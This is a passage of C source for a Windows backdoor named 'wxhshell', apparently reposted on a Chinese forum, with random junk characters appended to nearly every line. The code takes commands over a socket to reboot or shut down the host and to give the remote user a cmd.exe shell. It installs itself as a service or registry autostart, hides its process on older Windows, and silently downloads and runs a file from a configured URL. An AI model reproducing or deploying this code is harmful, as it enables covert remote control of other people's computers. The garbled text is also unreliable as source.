  "C.7;Rvkp>  
  // 帮助 [Am`5&J  
  case '?': { |( 9#vt#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )S};k=kG  
    break; jS3(>  
  } F] ?@X  
  // 安装 4UD=Y?zK  
  case 'i': { ct4 [b|  
    if(Install()) 2 ?- 07g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x X/s1(P  
    else G yAgPz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B$TChc3B  
    break; bk"k&.C^+  
    } @D~+D@i$TW  
  // 卸载 'nWs0iH.  
  case 'r': { 9/ 1+BQ  
    if(Uninstall()) p^igscPF6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $@_t5?n``F  
    else <2O7R}j7v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !@<@QG-  
    break; [Z5[~gP3  
    } -9>LvLU  
  // 显示 wxhshell 所在路径 dG-or  
  case 'p': { XQ 3*  
    char svExeFile[MAX_PATH]; 4Kn9*V  
    strcpy(svExeFile,"\n\r"); mvq7G  
      strcat(svExeFile,ExeFile); PB(  
        send(wsh,svExeFile,strlen(svExeFile),0); mPfUJ#rS  
    break; !Wixs]od   
    } {(z(NgXG/  
  // 重启 UM( l%  
  case 'b': { jc&/}o$K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }\f(qw  
    if(Boot(REBOOT)) G_M:0YI@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QGr\I/Y  
    else { 3g0u#t{  
    closesocket(wsh); HS\3)Ooj>  
    ExitThread(0); 6b ]1d04hT  
    } YWRE&MQ_  
    break; w=D%D8 r2  
    } UV']NH h  
  // 关机 lH)em.#  
  case 'd': { O}MZ-/z=o~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xY2}Wr j,  
    if(Boot(SHUTDOWN)) Ni!;-,H+E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k%]DT.cE  
    else { dv'E:R(a  
    closesocket(wsh); =@JS88+  
    ExitThread(0); n</k/Mk}  
    } qcTmsMpj  
    break; w53z*l>ek  
    } }F{C= l2  
  // 获取shell G(As%r]  
  case 's': { GG_^K#*  
    CmdShell(wsh);  ,v*p  
    closesocket(wsh); *M wfod  
    ExitThread(0); #d Z/UM(u  
    break; M'umoZmW0  
  } QJ#u[hsMFp  
  // 退出 &nqdl+|G*  
  case 'x': { fW.GNX8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,@Fgr(?'`>  
    CloseIt(wsh); p@/(.uE  
    break; M|UxE/  
    } YX ;n6~y  
  // 离开 j|[(*i%7|  
  case 'q': { H DF"]l;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3}B5hht "D  
    closesocket(wsh); ADYx.8M|9i  
    WSACleanup(); 8cK\myn.  
    exit(1); =w ^TcV  
    break; lf%b0na?r  
        } vuR5}/Ev  
  } MSZ!W(7,<  
  } jCTy:q]  
G la@l<  
  // 提示信息 Hz}+SAZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Y,Q>bu  
} -F"d0a,  
  } / R_ u\?k(  
;TL(w7vK  
  return; 0)d?Y  
} F!7f_m0=  
Opv1B2  
// shell模块句柄 +_qh)HX  
int CmdShell(SOCKET sock) ytjK++(T5  
{ H\^VqNK"  
STARTUPINFO si; qyg*n>nt  
ZeroMemory(&si,sizeof(si)); zmf"I[)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /Hv* K&}M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,b<9?PM  
PROCESS_INFORMATION ProcessInfo; of8mwnZR  
char cmdline[]="cmd"; )A="eW_>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9&jQ 35  
  return 0; f}[H `OF  
} #P(l2(  
~J0,)_b%*  
// 自身启动模式 > P<z |8  
int StartFromService(void) jg[5UTkcs  
{ P*pbwV#|  
typedef struct r\(v+cd  
{ aS,a_b]  
  DWORD ExitStatus; CI,lkO|C  
  DWORD PebBaseAddress; K`hz t  
  DWORD AffinityMask; u4:\UC'  
  DWORD BasePriority; $ !v}xY  
  ULONG UniqueProcessId; m!<X8d[bD  
  ULONG InheritedFromUniqueProcessId; 3az$:[Und}  
}   PROCESS_BASIC_INFORMATION; 4|nQ=bIau  
"hWJ3pi{o{  
PROCNTQSIP NtQueryInformationProcess; 0Tcz[$?  
2;:lK":  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }>V/H]B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MZT6g.ny  
a3Y{lc#z}  
  HANDLE             hProcess; <tFSF%vG=  
  PROCESS_BASIC_INFORMATION pbi; aH%ZetLNJ  
E;6~R M:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uie~'K\y  
  if(NULL == hInst ) return 0; [UMLx  
?VB#GJ0M9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eGLO!DdxZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -b cG[W3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \a"i7Caa  
oEJaH  
  if (!NtQueryInformationProcess) return 0;  *p=fi  
RI-A"cc6A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }2l O _i}L  
  if(!hProcess) return 0; ;SgD 5Ln}  
- yoAxPDW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [|4}~UV  
4E2yH6l  
  CloseHandle(hProcess); h40'@u^W  
a mqOxb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {>@QJlE0  
if(hProcess==NULL) return 0; ! .AhzU1%Y  
%JQ~!3  
HMODULE hMod; Va7c#P?  
char procName[255]; ~LbS~_\C=  
unsigned long cbNeeded; O#Z/+\U  
-I ?z-?<D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y]N~vD  
^] 6M["d/p  
  CloseHandle(hProcess); ABc)2"i:*  
RlrZxmPV>O  
if(strstr(procName,"services")) return 1; // 以服务启动 id^|\hDR  
6 }!Z"  
  return 0; // 注册表启动 pTWg m\h  
} ,9mgYp2  
e 8,{|a  
// 主模块 }!8nO;  
int StartWxhshell(LPSTR lpCmdLine) d<x1*a  
{ ;hwzYXWF  
  SOCKET wsl; 3cqQL!Gm  
BOOL val=TRUE; i'HPRY  
  int port=0; b6"}"bG  
  struct sockaddr_in door; vt.P*Z5  
}taLk@T  
  if(wscfg.ws_autoins) Install(); y}N&/}M:}8  
qe$33f*  
port=atoi(lpCmdLine); j$Nf%V 6Y  
(S|a 9#  
if(port<=0) port=wscfg.ws_port; Ry z?v<)h  
+3;Ody"59  
  WSADATA data; %ISq>A)%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }B0sC%cm  
rfs(#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    GP+2/D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TnNWO+ kg  
  door.sin_family = AF_INET; HY;9?KJ'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CbOCk:,g5  
  door.sin_port = htons(port); Stxp3\jEn  
q\R q!7(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SWs3SYJ\  
closesocket(wsl); T~Ly^|Ihz  
return 1; fG&=Ogy  
} jY/ARBC}H  
URA0ey`  
  if(listen(wsl,2) == INVALID_SOCKET) { ]tB@kBi "  
closesocket(wsl); f#$|t>  
return 1; dv~pddOs  
} H_w%'v&  
  Wxhshell(wsl); l4vTU=  
  WSACleanup(); 4(=kE>n}  
oQT2S>cm^  
return 0; B>z?ClH$R  
x7dEo%j  
} ?[)yGRzO2  
Kb&V!#o)  
// 以NT服务方式启动 i%;"[M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z/<#n\>t0>  
{ 7+nm31,<O  
DWORD   status = 0; >{5 p0  
  DWORD   specificError = 0xfffffff; \\:|Odd  
&nY;=Hv`WY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r\2vl8X~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7 Wl-n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~$<UE}qp  
  serviceStatus.dwWin32ExitCode     = 0; 83 I-X95  
  serviceStatus.dwServiceSpecificExitCode = 0; pJBg?D  
  serviceStatus.dwCheckPoint       = 0; +C+<BzR~A.  
  serviceStatus.dwWaitHint       = 0; ez\eOH6  
'\"G{jU@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O9s?h3  
  if (hServiceStatusHandle==0) return; icgJ;Q 5  
rrqQCn9  
status = GetLastError(); (ChD]PWQ  
  if (status!=NO_ERROR) E.`6oX\L|  
{ !_~UvxM+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5\ hd4  
    serviceStatus.dwCheckPoint       = 0; =']3(6*  
    serviceStatus.dwWaitHint       = 0; #.._c?%4/  
    serviceStatus.dwWin32ExitCode     = status; $*f?&U]k  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0[T,O,y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iWA|8$u4gm  
    return; Kqg!,Sn|  
  } 6na^]t~ncm  
TL0[@rr4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WsI>n  
  serviceStatus.dwCheckPoint       = 0; };,/0Fu  
  serviceStatus.dwWaitHint       = 0; v.&>Ih/L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GZ3 ]N  
} J !HjeZ  
g(Yb^'X/  
// 处理NT服务事件,比如:启动、停止 *?t%0){  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A"uULfnk  
{ pOT7;-#n  
switch(fdwControl) t"vRc4mf  
{ hyg8wI  
case SERVICE_CONTROL_STOP: DM{ 4@*]  
  serviceStatus.dwWin32ExitCode = 0; ,"\@fwy{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lv%9MW0 z  
  serviceStatus.dwCheckPoint   = 0; D`yEwpV^  
  serviceStatus.dwWaitHint     = 0; J2VTo: In  
  { upy\gkpnGO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); //f  
  } t2>fmQIQ  
  return; 7Nzbz3  
case SERVICE_CONTROL_PAUSE: % 0T+t.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #_i`#d)  
  break; #8XL :I  
case SERVICE_CONTROL_CONTINUE: k@dN$O%p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7f{=w, U  
  break; \ZI'|Ad  
case SERVICE_CONTROL_INTERROGATE: ;# uZhd  
  break; 5!X1G8h)uy  
}; O|kOI?f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9?<{_'  
} aUU7{o_Z  
fCWGAO2  
// 标准应用程序主函数 )h{ ]k=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NZ0O,} m  
{ 5PT5#[  
MGJ.,tK1  
// 获取操作系统版本 k8AW6oO/i  
OsIsNt=GetOsVer(); r^Zg-|gr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a^U~0i@[S  
8s{?v &p  
  // 从命令行安装 _)T5lEFl=  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z?5V4F:f  
g%[c<l9  
  // 下载执行文件 ,Wbwg  
if(wscfg.ws_downexe) { Om;&_!i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )3Z ^h<"j  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^(HUGl_  
} ~ `M\Ir  
@a:>$t  
if(!OsIsNt) { pi<TFe@eG  
// 如果时win9x,隐藏进程并且设置为注册表启动 myl+J;,]  
HideProc(); ,'xYlH3s  
StartWxhshell(lpCmdLine); w-wV3Q6X  
} YG [;"QR  
else ojvj}ln  
  if(StartFromService()) [Zei0O  
  // 以服务方式启动 2'EUy@0  
  StartServiceCtrlDispatcher(DispatchTable); - K9c@?  
else 7Mb# O_eh  
  // 普通方式启动 s7Ub@  
  StartWxhshell(lpCmdLine); "j;4 k.`h  
+gtrt^:]l  
return 0; &e 6CJ  
}
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只看该作者 1 发表于: 2006-10-10
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